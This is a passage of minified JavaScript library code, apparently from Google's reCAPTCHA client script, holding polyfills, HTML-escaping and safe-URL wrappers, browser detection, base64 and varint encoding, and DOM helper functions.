function(x){return this.$.has(x)},N.prototype.entries=function(){return this.$.entries()},N).prototype.values=function(){return this.$.values()},N.prototype).keys=N.prototype.values,N.prototype)[Symbol.iterator]=N.prototype.values,N).prototype.forEach=function(x,S,U){this.$.forEach((U=this,function(Z){return x.call(S,Z,Z,U)}))},N})),function(F){return F?F:function(N,x,S,U,Z,a){if("function"==(Z=(U=(x=null!=x?x:Fw(),[]),"undefined"!=typeof Symbol&&Symbol.iterator&&N[Symbol.iterator]),typeof Z))for(N=
Z.call(N),a=0;!(Z=N.next()).done;)U.push(x.call(S,Z.value,a++));else for(Z=N.length,a=0;a<Z;a++)U.push(x.call(S,N[a],a));return U}})),function(F){return F?F:function(N,x,S){for(S in x=[],N)BE(N,S)&&x.push(N[S]);return x}})),function(F){return F?F:function(N,x){return N===x?0!==N||1/N===1/x:N!==N&&x!==x}})),function(F){return F?F:function(N,x,S,U,Z,a){U=((S=this,S)instanceof String&&(S=String(S)),S.length),Z=x||0;for(0>Z&&(Z=Math.max(Z+U,0));Z<U;Z++)if(a=S[Z],a===N||Object.is(a,N))return!0;return!1}})),
function(F){return F?F:function(N,x){return-1!==K0(this,N,"includes").indexOf(N,x||0)}})),TW)("Array.prototype.fill",function(F){return F?F:function(N,x,S,U){if(null==(0>(U=this.length||0,x)&&(x=Math.max(0,U+x)),S)||S>U)S=U;for(x=Number(((S=Number(S),0>S)&&(S=Math.max(0,U+S)),x||0));x<S;x++)this[x]=N;return this}}),null),vE=vE||{},GW=/^[\w+/_-]+[=]{0,2}$/,p=this||self,MR=function(F,N,x){for(N=(F=(x=0,F).split("."),p);x<F.length;x++)if(N=N[F[x]],null==N)return null;return N},J=L(),dA=function(F){return"array"==
bo(F)},bo=function(F,N,x){if((N=typeof F,"object")==N)if(F){if(F instanceof Array)return"array";if(F instanceof Object)return N;if("[object Window]"==(x=Object.prototype.toString.call(F),x))return"object";if("[object Array]"==x||"number"==typeof F.length&&"undefined"!=typeof F.splice&&"undefined"!=typeof F.propertyIsEnumerable&&!F.propertyIsEnumerable("splice"))return"array";if("[object Function]"==x||"undefined"!=typeof F.call&&"undefined"!=typeof F.propertyIsEnumerable&&!F.propertyIsEnumerable("call"))return"function"}else return"null";
else if("function"==N&&"undefined"==typeof F.call)return"object";return N},io=function(F){return F[Dw]||(F[Dw]=++C0)},y4=function(F){return"function"==bo(F)},jE=function(F,N){return N=bo(F),"array"==N||"object"==N&&"number"==typeof F.length},Q4=function(F,N){return(N=typeof F,"object")==N&&null!=F||"function"==N},Rr=function(F){F.LL=(F.iO=function(){return F.LL?F.LL:F.LL=new F},void 0)},Dw="closure_uid_"+(1E9*Math.random()>>>0),kX=function(F,N,x,S,U){(x=F.split("."),S=p,x[0]in S)||"undefined"==typeof S.execScript||
S.execScript("var "+x[0]);for(;x.length&&(U=x.shift());)x.length||void 0===N?S[U]&&S[U]!==Object.prototype[U]?S=S[U]:S=S[U]={}:S[U]=N},zW=function(F,N,x){if(p.execScript)p.execScript(F,"JavaScript");else if(p.eval){if(null==uo){try{p.eval("var _evalTest_ = 1;")}catch(S){}if("undefined"!=typeof p._evalTest_){try{delete p._evalTest_}catch(S){}uo=!0}else uo=!1}uo?p.eval(F):(N=p.document,x=N.createElement("script"),x.type="text/javascript",x.defer=!1,x.appendChild(N.createTextNode(F)),N.head.appendChild(x),
N.head.removeChild(x))}else throw Error("goog.globalEval not available");},Ir=function(F,N,x){return F.call.apply(F.bind,arguments)},eE=function(F,N){var x=Array.prototype.slice.call(arguments,1);return function(){var S=x.slice();return(S.push.apply(S,arguments),F).apply(this,S)}},f0=Date.now||function(){return+new Date},FZ=function(F,N){if(Error.captureStackTrace)Error.captureStackTrace(this,FZ);else if(N=Error().stack)this.stack=N;F&&(this.message=String(F))},K=function(F,N){function x(){}F.prototype=
new (F.O=(x.prototype=N.prototype,N.prototype),x),F.prototype.constructor=F},Nj=function(F,N,x){if(!F)throw Error();if(2<arguments.length){var S=Array.prototype.slice.call(arguments,2);return function(){var U=Array.prototype.slice.call(arguments);return(Array.prototype.unshift.apply(U,S),F).apply(N,U)}}return function(){return F.apply(N,arguments)}},h=function(F,N,x){return(Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?h=Ir:h=Nj,h).apply(null,arguments)},uo=
null,C0=0,SU=(K(FZ,Error),FZ.prototype.name="CustomError",function(F,N,x,S){return(x=xo(F,N),S=0<=x)&&Array.prototype.splice.call(F,x,1),S}),Uh=function(F,N,x,S){Array.prototype.splice.apply(F,o9(arguments,1))},w=Array.prototype.forEach?function(F,N,x){Array.prototype.forEach.call(F,N,x)}:function(F,N,x,S,U,Z){for(Z=(U="string"===typeof(S=F.length,F)?F.split(""):F,0);Z<S;Z++)Z in U&&N.call(x,U[Z],Z,F)},xo=Array.prototype.indexOf?function(F,N){return Array.prototype.indexOf.call(F,N,void 0)}:function(F,
N,x){if("string"===typeof F)return"string"!==typeof N||1!=N.length?-1:F.indexOf(N,0);for(x=0;x<F.length;x++)if(x in F&&F[x]===N)return x;return-1},ZE,a9=Array.prototype.every?function(F,N){return Array.prototype.every.call(F,N,void 0)}:function(F,N,x,S,U){for(S="string"===(x=F.length,typeof F)?F.split(""):F,U=0;U<x;U++)if(U in S&&!N.call(void 0,S[U],U,F))return!1;return!0},cL=Array.prototype.map?function(F,N){return Array.prototype.map.call(F,N,void 0)}:function(F,N,x,S,U,Z){for(S=Array((U="string"===
typeof F?F.split(""):F,x=F.length,x)),Z=0;Z<x;Z++)Z in U&&(S[Z]=N.call(void 0,U[Z],Z,F));return S},LH=function(F,N){return 0<=xo(F,N)},HL=function(F,N){return F===N},PL=function(F,N,x){return(x=(N=WL("grecaptcha-badge"),0),w)(N,function(S,U,Z){F.call(void 0,S,U,Z)&&++x},void 0),x},TZ=function(F,N){for(var x=1;x<arguments.length;x++){var S=arguments[x];if(jE(S)){var U=F.length||0,Z=S.length||0;for(var a=(F.length=U+Z,0);a<Z;a++)F[U+a]=S[a]}else F.push(S)}},o9=function(F,N,x){return 2>=arguments.length?
Array.prototype.slice.call(F,N):Array.prototype.slice.call(F,N,x)},Eh=function(F,N,x,S){if(0<(N=F.length,N)){for(x=Array(N),S=0;S<N;S++)x[S]=F[S];return x}return[]},Va=function(F){return Array.prototype.concat.apply([],arguments)},Yo=Array.prototype.some?function(F,N){return Array.prototype.some.call(F,N,void 0)}:function(F,N,x,S,U){for(U=(S="string"===(x=F.length,typeof F)?F.split(""):F,0);U<x;U++)if(U in S&&N.call(void 0,S[U],U,F))return!0;return!1},qj=function(F,N,x,S,U){a:{for(U=(S="string"===
typeof F?F.split(""):F,N=$o,x=F.length,0);U<x;U++)if(U in S&&N.call(void 0,S[U],U,F)){N=U;break a}N=-1}return 0>N?null:"string"===typeof F?F.charAt(N):F[N]},Oh=function(F,N){if(!dA(F))for(N=F.length-1;0<=N;N--)delete F[N];F.length=0},mk=function(F,N,x,S){if(8192>=F.length)return String.fromCharCode.apply(null,F);for(N=(x=0,"");x<F.length;x+=8192)S=o9(F,x,x+8192),N+=String.fromCharCode.apply(null,S);return N},pH=function(F){return cL(F,function(N){return 1<(N=N.toString(16),N.length)?N:"0"+N}).join("")},
Jd=function(F,N,x,S,U){for(S=x=(N=[],0);S<F.length;S++)U=F.charCodeAt(S),255<U&&(N[x++]=U&255,U>>=8),N[x++]=U;return N},KH=Array.prototype.filter?function(F,N){return Array.prototype.filter.call(F,N,void 0)}:function(F,N,x,S,U,Z,a,c){for(x=(Z="string"===typeof F?F.split(""):F,F.length),S=[],U=0,a=0;a<x;a++)a in Z&&(c=Z[a],N.call(void 0,c,a,F)&&(S[U++]=c));return S},hd=function(F,N,x){for(x=(N=[],0);x<F;x++)N[x]=0;return N},wN=function(F,N,x,S){for(S=0,x=[];S<F.length;S++)x.push(F[S]^N[S]);return x},
Ad=xX(!0),sh=xX(null),XZ=function(F,N,x){for(x in N={},F)N[x]=F[x];return N},lk=function(F){var N=arguments.length;if(1==N&&dA(arguments[0]))return lk.apply(null,arguments[0]);for(var x={},S=0;S<N;S++)x[arguments[S]]=!0;return x},td=function(F,N){for(N in F)return!1;return!0},gN=function(F,N,x,S){for(S in F)N.call(x,F[S],S,F)},nH=function(F,N,x,S){for(S in x=(N=[],0),F)N[x++]=S;return N},vL=function(F,N){this.$=(this.L=rN,F===BL)&&N||""},Mj=function(F,N){for(var x=1,S,U;x<arguments.length;x++){for(S in U=
arguments[x],U)F[S]=U[S];for(var Z=0;Z<GZ.length;Z++)S=GZ[Z],Object.prototype.hasOwnProperty.call(U,S)&&(F[S]=U[S])}},bk=function(F,N){return null!==F&&N in F?F[N]:void 0},dN=function(F,N,x){if(null!==F&&N in F)throw Error('The object already contains the key "'+N+'"');F[N]=x},GZ="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" "),DE=function(F,N,x,S){for(S in N=(x=0,[]),F)N[x++]=F[S];return N},CH=(vL.prototype.fV=!0,function(F,N,x){for(x in F)if(N.call(void 0,
F[x],x,F))return!0;return!1}),ik=function(F,N,x){return N=!1,function(){return N||(x=F(),N=!0),x}},BL=(vL.prototype.VW=P("$"),{}),ya=function(F){return F instanceof vL&&F.constructor===vL&&F.L===rN?F.$:"type_error:Const"},rN={},jU=new vL(BL,""),ko=function(F,N){this.L=(this.I=R9,F===Qa&&N)||""},I9=(((ko.prototype.fL=!0,ko.prototype).fV=!(ko.prototype.VW=function(){return this.L.toString()},0),ko).prototype.$=xX(1),function(F,N){this.L=F===uk&&N||"",this.I=zZ}),eU=/>/g,fH=(I9.prototype.VW=(I9.prototype.fV=
!0,function(){return this.L.toString()}),String).prototype.trim?function(F){return F.trim()}:function(F){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(F)[1]},F8=/"/g,NH=(I9.prototype.fL=!0,function(F,N){return F<N?-1:F>N?1:0}),x8=/</g,Sa=function(F){if(F instanceof ko&&F.constructor===ko&&F.I===R9)return F.L;return bo(F),"type_error:TrustedResourceUrl"},o8=/&/g,Qa={},Ub=function(F){return/^[\s\xa0]*$/.test(F)},Z8=/'/g,a8=/[\x00&<>"']/,R9={},Lr=function(F,N){if(N)F=F.replace(o8,"&amp;").replace(x8,"&lt;").replace(eU,
"&gt;").replace(F8,"&quot;").replace(Z8,"&#39;").replace(cw,"&#0;");else{if(!a8.test(F))return F;(-1!=((-1!=((-1!=F.indexOf("&")&&(F=F.replace(o8,"&amp;")),-1!=F.indexOf("<"))&&(F=F.replace(x8,"&lt;")),F.indexOf(">"))&&(F=F.replace(eU,"&gt;")),-1)!=F.indexOf('"')&&(F=F.replace(F8,"&quot;")),F).indexOf("'")&&(F=F.replace(Z8,"&#39;")),-1)!=F.indexOf("\x00")&&(F=F.replace(cw,"&#0;"))}return F},cw=/\x00/g,Hw=function(F,N,x,S,U,Z,a,c,H){for(Z=Math.max((U=fH(String(N)).split("."),S=fH(String((x=0,F))).split("."),
S).length,U.length),a=0;0==x&&a<Z;a++){c=(H=U[a]||"",S[a])||"";do{if((H=(c=/(\d*)(\D*)(.*)/.exec(c)||["","","",""],/(\d*)(\D*)(.*)/).exec(H)||["","","",""],0)==c[0].length&&0==H[0].length)break;H=(x=NH(0==c[1].length?0:parseInt(c[1],10),0==H[1].length?0:parseInt(H[1],10))||NH(0==c[2].length,0==H[2].length)||NH(c[2],H[2]),H)[3],c=c[3]}while(0==x)}return x},Ww=(I9.prototype.$=xX(1),function(F){if(F instanceof I9&&F.constructor===I9&&F.I===zZ)return F.L;return bo(F),"type_error:SafeUrl"}),zZ={},Pw={},
T3=function(){this.$=(this.L=Pw,"")},uk=(T3.prototype.fV=!0,{}),Eb=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i,VK=(T3.prototype.VW=P("$"),{}),Y8=function(){this.L=(this.$="",VK)};Y8.prototype.fV=!0,Y8.prototype.VW=P("$");var $8;a:{var qH=p.navigator;if(qH){var Ob=qH.userAgent;if(Ob){$8=Ob;break a}}$8=""}
var mu=function(){return A("Firefox")||A("FxiOS")},Ja=function(){this.L=(this.I=null,this.H=pr,"")},Kr=function(){return(A("Chrome")||A("CriOS"))&&!A("Edge")},A=function(F){return-1!=$8.indexOf(F)},X8=(Ja.prototype.$=(Ja.prototype.fL=!0,P("I")),function(F,N,x,S,U){return sb((w(F,(S=(x=(N=ha(wm),N.$()),[]),U=function(Z){dA(Z)?w(Z,U):(Z=ha(Z),S.push(Aa(Z).toString()),Z=Z.$(),0==x?x=Z:0!=Z&&x!=Z&&(x=null))},U)),S).join(Aa(N).toString()),x)}),pr={},lb=function(F){return X8(Array.prototype.slice.call(arguments))},
Aa=function(F){if(F instanceof Ja&&F.constructor===Ja&&F.H===pr)return F.L;return bo(F),"type_error:SafeHtml"},ta=function(F,N,x){return x=new Ja,x.I=N,x.L=F,x},ha=((Ja.prototype.fV=!0,Ja.prototype).VW=function(){return this.L.toString()},function(F,N,x){if(F instanceof Ja)return F;return sb(((N=(x=null,"object"==typeof F),N&&F.fL)&&(x=F.$()),Lr(N&&F.fV?F.VW():String(F))),x)}),sb=function(F,N){return ta(F,N)},wm=(ta("<!DOCTYPE html>",0),ta("",0)),gm=ta("<br>",0),nr=ik(function(F,N){return!((N=((N=
document.createElement((F=document.createElement("div"),"div")),N).appendChild(document.createElement("div")),F.appendChild(N),F.firstChild.firstChild),F).innerHTML=Aa(wm),N).parentElement}),Bw=function(F,N){for(var x=F.split("%s"),S="",U=Array.prototype.slice.call(arguments,1);U.length&&1<x.length;)S+=x.shift()+U.shift();return S+x.join("%s")},vw=function(){return rm()||A("iPad")||A("iPod")},G3=function(F){return F.replace(RegExp("(^|[\\s]+)([a-z])","g"),function(N,x,S){return x+S.toUpperCase()})},
MH=function(F,N,x){if(F.src=Sa(N),null===rA)b:{if((x=(x=p.document,x.querySelector&&x.querySelector("script[nonce]")))&&(x=x.nonce||x.getAttribute("nonce"))&&GW.test(x)){rA=x;break b}rA=""}(x=rA,x)&&F.setAttribute("nonce",x)},bb=function(F){return F=Lr(F,void 0)},dm=function(F,N){F.src=(N=new ko(Qa,ya(jU)),Sa(N).toString())},D8=function(F){return String(F).replace(/\-([a-z])/g,function(N,x){return x.toUpperCase()})},rm=function(){return A("iPhone")&&!A("iPod")&&!A("iPad")},Cr=String.prototype.repeat?
function(F,N){return F.repeat(N)}:function(F,N){return Array(N+1).join(F)},ib=function(F){return ib[" "](F),F},yK=function(F,N){if(nr())for(;F.lastChild;)F.removeChild(F.lastChild);F.innerHTML=Aa(N)},ja=function(){return Math.floor(2147483648*Math.random()).toString(36)+Math.abs(Math.floor(2147483648*Math.random())^f0()).toString(36)},R8=(ib[" "]=J,function(F,N,x){return(x=QK,Object.prototype).hasOwnProperty.call(x,F)?x[F]:x[F]=N(F)}),k8=A("Opera"),X=A("Trident")||A("MSIE"),ub=A("Edge"),z3=A("Gecko")&&
!(-1!=$8.toLowerCase().indexOf("webkit")&&!A("Edge"))&&!(A("Trident")||A("MSIE"))&&!A("Edge"),I8=-1!=$8.toLowerCase().indexOf("webkit")&&!A("Edge"),ea=I8&&A("Mobile"),fr=A("Macintosh"),Ft=A("Windows"),N4=A("Android"),xw=rm(),S0=A("iPad"),o2=A("iPod"),Um=vw(),Zz,a2=function(F){return(F=p.document)?F.documentMode:void 0};
a:{var cU="",LJ=function(F){if(F=$8,z3)return/rv:([^\);]+)(\)|;)/.exec(F);if(ub)return/Edge\/([\d\.]+)/.exec(F);if(X)return/\b(?:MSIE|rv)[: ]([^\);]+)(\)|;)/.exec(F);if(I8)return/WebKit\/(\S+)/.exec(F);if(k8)return/(?:Version)[ \/]?(\S+)/.exec(F)}();if(LJ&&(cU=LJ?LJ[1]:""),X){var HU=a2();if(null!=HU&&HU>parseFloat(cU)){Zz=String(HU);break a}}Zz=cU}
var WU,PU=Zz,TO=function(F){return R8(F,function(){return 0<=Hw(PU,F)})},QK={},Em=(WU=p.document&&X?a2():void 0,mu)(),Vh=rm()||A("iPod"),Yw=A("iPad"),$w=A("Android")&&!(Kr()||mu()||A("Opera")||A("Silk")),q4=Kr(),Om=A("Safari")&&!(Kr()||A("Coast")||A("Opera")||A("Edge")||A("Edg/")||A("OPR")||mu()||A("Silk")||A("Android"))&&!vw(),pJ=function(F,N,x,S,U){return((S=new Uint8Array(((x=(N=F.length,3*N)/4,x%3)?x=Math.floor(x):-1!="=.".indexOf(F[N-1])&&(x=-1!="=.".indexOf(F[N-2])?x-2:x-1),x)),U=0,mR)(F,function(Z){S[U++]=
Z}),S).subarray(0,U)},J4=function(F,N,x){F.$=(F.I=(((x=N.constructor===Uint8Array?N:N.constructor===ArrayBuffer?new Uint8Array(N):N.constructor===Array?new Uint8Array(N):N.constructor===String?pJ(N):new Uint8Array(0),F).H=x,F).o=0,F.H.length),F).o},wb=function(F,N,x,S,U,Z){if(!KJ)for(N=["+/=","+/","-_=","-_.","-_"],x=0,KJ={},F="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");5>x;x++)for(S=F.concat(N[x].split("")),h4[x]=S,U=0;U<S.length;U++)Z=S[U],void 0===KJ[Z]&&(KJ[Z]=U)},
A4=function(F,N){return mR(F,(N=[],function(x){N.push(x)})),N},KJ=null,sm=function(F){((this.H=null,this).$=this.I=this.o=0,F)&&J4(this,F)},Xt=[],mR=function(F,N,x,S,U,Z,a){function c(H,W,E){for(;x<F.length;){if(null!=(E=(W=F.charAt(x++),KJ)[W],E))return E;if(!Ub(W))throw Error("Unknown base64 encoding at char: "+W);}return H}for(x=(wb(),0);;){if(64===(a=(Z=(U=c((S=c(-1),0)),c(64)),c)(64),a)&&-1===S)break;N(S<<2|U>>4),64!=Z&&(N(U<<4&240|Z>>2),64!=a&&N(Z<<6&192|a))}},h4={},lg=function(F,N,x,S,U,Z,
a,c,H,W,E){for(S=(U=(x=(void 0===(jE(F),N)&&(N=0),wb(),h4[N]),0),[]);U<F.length;U+=3)Z=F[U],c=(a=U+1<F.length)?F[U+1]:0,W=(H=U+2<F.length)?F[U+2]:0,E=Z>>2,Z=(Z&3)<<4|c>>4,c=(c&15)<<2|W>>6,W&=63,H||(W=64,a||(c=64)),S.push(x[E],x[Z],x[c]||"",x[W]||"");return S.join("")},t4=(sm.prototype.reset=function(){this.$=this.o},sm.prototype.G=function(F,N,x){if(F=(N=this.H,N)[this.$+0],x=F&127,128>F)return this.$+=1,x;if(128>(x|=(F=N[this.$+1],F&127)<<7,F))return this.$+=2,x;if(128>(F=N[this.$+2],x|=(F&127)<<
14,F))return this.$+=3,x;if(x|=(F=N[this.$+3],(F&127)<<21),128>F)return this.$+=4,x;if(128>(F=N[this.$+4],x|=(F&15)<<28,F))return this.$+=5,x>>>0;return 128<=N[this.$+=5,this.$++]&&128<=N[this.$++]&&128<=N[this.$++]&&128<=N[this.$++]&&this.$++,x},function(){this.$=[]}),gb=(sm.prototype.L=sm.prototype.G,t4.prototype.length=function(){return this.$.length},function(F,N){for(;127<N;)F.$.push(N&127|128),N>>>=7;F.$.push(N)}),nJ=function(F,N){this.H=(this.L=(this.G=(this.$=(Xt.length?(N=Xt.pop(),F&&J4(N,
F),F=N):F=new sm(F),F),this.$).$,this.I=-1),!1)},BU=function(F,N){return(N=F.$,F).$=[],N},rb=(nJ.prototype.reset=function(){this.L=this.I=(this.$.reset(),-1)},function(F,N,x,S,U,Z,a,c,H,W){for(N=(Z=(S=(x=(F=(N=F.$.G(),F).$,F).H,U=[],F).$,""),S+N);S<N;){if(a=x[S++],128>a)U.push(a);else if(192>a)continue;else 224>a?(c=x[S++],U.push((a&31)<<6|c&63)):240>a?(c=x[S++],H=x[S++],U.push((a&15)<<12|(c&63)<<6|H&63)):248>a&&(c=x[S++],H=x[S++],W=x[S++],a=(a&7)<<18|(c&63)<<12|(H&63)<<6|W&63,a-=65536,U.push((a>>
10&1023)+55296,(a&1023)+56320));8192<=U.length&&(Z+=String.fromCharCode.apply(null,U),U.length=0)}return(Z+=mk(U),F).$=S,Z}),vU=function(F,N){switch(F.L){case 0:if(0!=F.L)vU(F);else{for(F=F.$;F.H[F.$]&128;)F.$++;F.$++}break;case 1:1!=F.L?vU(F):(F=F.$,F.$+=8);break;case 2:2!=F.L?vU(F):(N=F.$.G(),F=F.$,F.$+=N);break;case 5:5!=F.L?vU(F):(F=F.$,F.$+=4);break;case 3:N=F.I;do{if(!GO(F)){F.H=!0;break}if(4==F.L){F.I!=N&&(F.H=!0);break}vU(F)}while(1)}},M4=function(F,N,x){for(x=(x=N.pop(),F.L+F.$.length())-
x;127<x;)N.push(x&127|128),x>>>=7,F.L++;N.push(x),F.L++},GO=function(F,N,x){if((N=(N=F.$,N).$==N.I)||(N=F.H)||(N=F.$,N=0>N.$||N.$>N.I),N)return!1;if((x=(N=(F.G=F.$.$,F.$.G()),N&7),0!=x&&5!=x)&&1!=x&&2!=x&&3!=x&&4!=x)return F.H=!0,!1;return(F.I=N>>>3,F).L=x,!0},bg=function(){this.L=(this.I=[],0),this.$=new t4},db=function(F,N,x){return(x=(gb(F.$,8*N+2),BU(F.$)),F).I.push(x),F.L+=x.length,x.push(F.L),x},Dz=(bg.prototype.reset=function(){(this.I=[],BU)(this.$),this.L=0},function(F,N,x,S,U,Z,a){for(S=
(N=new Uint8Array(F.L+F.$.length()),x=F.I,x.length),Z=U=0;Z<S;Z++)a=x[Z],N.set(a,U),U+=a.length;return F.I=(x=BU(F.$),N.set(x,U),[N]),N}),CJ=function(F,N,x,S,U,Z,a){if(null!=x){for(U=(N=db(F,N),0),S=F.$;U<x.length;U++)Z=x.charCodeAt(U),128>Z?S.$.push(Z):2048>Z?(S.$.push(Z>>6|192),S.$.push(Z&63|128)):65536>Z&&(55296<=Z&&56319>=Z&&U+1<x.length?(a=x.charCodeAt(U+1),56320<=a&&57343>=a&&(Z=1024*(Z-55296)+a-56320+65536,S.$.push(Z>>18|240),S.$.push(Z>>12&63|128),S.$.push(Z>>6&63|128),S.$.push(Z&63|128),
U++)):(S.$.push(Z>>12|224),S.$.push(Z>>6&63|128),S.$.push(Z&63|128)));M4(F,N)}},ig=function(F,N,x){if(null!=x&&null!=x)if(gb(F.$,8*N),F=F.$,0<=x)gb(F,x);else{for(N=0;9>N;N++)F.$.push(x&127|128),x>>=7;F.$.push(1)}},g=L(),n=function(F,N,x,S){if(N<F.G)return x=N+F.H,S=F.L[x],S===yh?F.L[x]=[]:S;if(F.I)return S=F.I[N],S===yh?F.I[N]=[]:S},kw=function(F,N,x,S,U){return(U=n(F,(x=(Qh(F,(x=j0,x),1),(S=F.$[1])||(S=F.$[1]=[]),N)?N:new x,1)),S.push(x),U).push(R2(x)),x},ug=function(F,N,x,S){if(F.$)for(N in F.$)if(x=
F.$[N],dA(x))for(S=0;S<x.length;S++)x[S]&&R2(x[S]);else x&&R2(x)},zO=function(F,N,x){return n(F,N).push(x),F},I2=function(F,N,x,S,U){for(S=[],U=0;U<F.length;U++)S[U]=N.call(F[U],x,F[U]);return S},v=function(F,N,x,S){return(S=(F.$||(F.$={}),x?R2(x):x),F.$)[N]=x,r(F,N,S)},yh=[],G=function(F,N,x,S){F.H=0===(((F.$=null,N)||(N=x?[x]:[]),F).C=x?String(x):void 0,F.L=N,x)?-1:0;a:{if(N=F.L.length)if(--N,x=F.L[N],!(null===x||"object"!=typeof x||dA(x)||e0&&x instanceof Uint8Array)){F.I=x,F.G=N-F.H;break a}F.G=
Number.MAX_VALUE}if(F.o={},S)for(N=0;N<S.length;N++)x=S[N],x<F.G?(x+=F.H,F.L[x]=F.L[x]||yh):(fJ(F),F.I[x]=F.I[x]||yh)},fJ=function(F,N){(N=F.G+F.H,F).L[N]||(F.I=F.L[N]={})},e0="function"==typeof Uint8Array,F5=function(F,N,x){return N=(Qh(F,N,x),F.$[x]),N==yh&&(N=F.$[x]=[]),N},r=function(F,N,x){return N<F.G?F.L[N+F.H]=x:(fJ(F),F.I[N]=x),F},x9=(g.prototype.toString=function(){return(ug(this),this.L).toString()},g.prototype.p4=e0?function(F){Uint8Array.prototype.toJSON=(F=Uint8Array.prototype.toJSON,
function(){return lg(this)});try{return JSON.stringify(this.L&&R2(this),Nu)}finally{Uint8Array.prototype.toJSON=F}}:function(){return JSON.stringify(this.L&&R2(this),Nu)},function(F,N){return new F(N?JSON.parse(N):null)}),R2=function(F){return ug(F),F.L},Qh=function(F,N,x,S,U,Z){if(F.$||(F.$={}),!F.$[x]){for(U=(S=n(F,x),Z=0,[]);Z<S.length;Z++)U[Z]=new N(S[Z]);F.$[x]=U}},Nu=function(F,N){return"number"!==typeof N||!isNaN(N)&&Infinity!==N&&-Infinity!==N?N:String(N)},M=function(F,N,x,S){return((F.$||
(F.$={}),F).$[x]||(S=n(F,x))&&(F.$[x]=new N(S)),F.$)[x]},Sv=function(F,N,x){return null==(x=n(F,3),x)?N:x},oJ=function(F,N,x,S,U){for(S=(x=((U=0,F.$)||(F.$={}),x||[]),[]);U<x.length;U++)S[U]=R2(x[U]);return r(F,N,(F.$[N]=x,S))},Up=function(F,N,x){return null==(x=n(F,N),x)?x:!!x},Z5,aJ=!X||9<=Number(WU),c9=!z3&&!X||X&&9<=Number(WU)||z3&&TO("1.9.1"),LF=X&&!TO("9"),H9=function(F,N){this.x=(this.l=void 0!==N?N:0,void 0!==F?F:0)},W9=X||k8||I8,P9=function(F,N,x){return Math.min(Math.max(F,N),x)},Tg=((H9.prototype.round=
function(){return this.l=Math.round((this.x=Math.round(this.x),this.l)),this},H9.prototype.floor=function(){return this.l=Math.floor((this.x=Math.floor(this.x),this.l)),this},H9.prototype).ceil=function(){return this.l=(this.x=Math.ceil(this.x),Math.ceil(this.l)),this},function(F){return new b(F.width,F.height)}),Ep=function(F,N){return F.l*=(F.x*=N,N),F},b=function(F,N){this.height=(this.width=F,N)},Y9=((b.prototype.ceil=(b.prototype.aspectRatio=function(){return this.width/this.height},b.prototype.floor=
function(){return this.height=(this.width=Math.floor(this.width),Math).floor(this.height),this},function(){return(this.width=Math.ceil(this.width),this).height=Math.ceil(this.height),this}),b.prototype).round=function(){return this.height=Math.round((this.width=Math.round(this.width),this.height)),this},function(F){return void 0!==F.lastElementChild?F.lastElementChild:Vy(F.lastChild,!1)}),Op=function(F){F=$9;try{return F.contentWindow||(F.contentDocument?qu(F.contentDocument):null)}catch(N){}return null},
m1=function(F,N,x,S){if(null!=F)for(F=F.firstChild;F;){if(N(F)&&(x.push(F),S)||m1(F,N,x,S))return!0;F=F.nextSibling}return!1},KF=function(F,N,x){if(!(F.nodeName in pF))if(3==F.nodeType)x?N.push(String(F.nodeValue).replace(/(\r\n|\r|\n)/g,"")):N.push(F.nodeValue);else if(F.nodeName in JH)N.push(JH[F.nodeName]);else for(F=F.firstChild;F;)KF(F,N,x),F=F.nextSibling},hH=function(F,N,x){return m1(F,N,(x=[],x),!1),x},w7=function(F){return X&&!TO("9")?(F=F.getAttributeNode("tabindex"),null!=F&&F.specified):
F.hasAttribute("tabindex")},AH=function(F){if(F&&"number"==typeof F.length){if(Q4(F))return"function"==typeof F.item||"string"==typeof F.item;if(y4(F))return"function"==typeof F.item}return!1},d=function(F,N,x,S){return(x=N||document,x).getElementsByClassName?x=x.getElementsByClassName(F)[0]:(x=document,S=N||x,x=S.querySelectorAll&&S.querySelector&&F?S.querySelector(F?"."+F:""):sp(x,"*",F,N)[0]||null),x||null},X5=function(F){return"CSS1Compat"==F.compatMode},lt=function(F,N){return(N||document).getElementsByTagName(String(F))},
tH=function(F,N){return"string"===typeof N?F.getElementById(N):N},g7=function(F){return new b((F=(F=F.document,X5(F)?F.documentElement:F.body),F.clientWidth),F.clientHeight)},nF=function(F){return c9&&void 0!=F.children?F.children:KH(F.childNodes,function(N){return 1==N.nodeType})},sp=function(F,N,x,S,U,Z,a){if((N=(F=S||F,N&&"*"!=N?String(N).toUpperCase():""),F).querySelectorAll&&F.querySelector&&(N||x))return F.querySelectorAll(N+(x?"."+x:""));if(x&&F.getElementsByClassName){if(F=F.getElementsByClassName(x),
N){for(Z=(S={},U=0);a=F[Z];Z++)N==a.nodeName&&(S[U++]=a);return S.length=U,S}return F}if(F=F.getElementsByTagName(N||"*"),x){for(Z=U=(S={},0);a=F[Z];Z++)N=a.className,"function"==typeof N.split&&LH(N.split(/\s+/),x)&&(S[U++]=a);return S.length=U,S}return F},B9=function(F){return void 0!==F.firstElementChild?F.firstElementChild:Vy(F.firstChild,!0)},r7=function(F,N){return" "!=(F=(F=(LF&&null!==F&&"innerText"in F?F=F.innerText.replace(/(\r\n|\r|\n)/g,"\n"):(N=[],KF(F,N,!0),F=N.join("")),F.replace(/ \xAD /g,
" ").replace(/\xAD/g,"")),F.replace(/\u200B/g,"")),LF||(F=F.replace(/ +/g," ")),F)&&(F=F.replace(/^\s*/,"")),F},Mu=function(F,N,x){if("textContent"in F)F.textContent=N;else if(3==F.nodeType)F.data=String(N);else if(F.firstChild&&3==F.firstChild.nodeType){for(;F.lastChild!=F.firstChild;)F.removeChild(F.lastChild);F.firstChild.data=String(N)}else v9(F),x=Gg(F),F.appendChild(x.createTextNode(String(N)))},bt={cellpadding:"cellPadding",cellspacing:"cellSpacing",colspan:"colSpan",frameborder:"frameBorder",
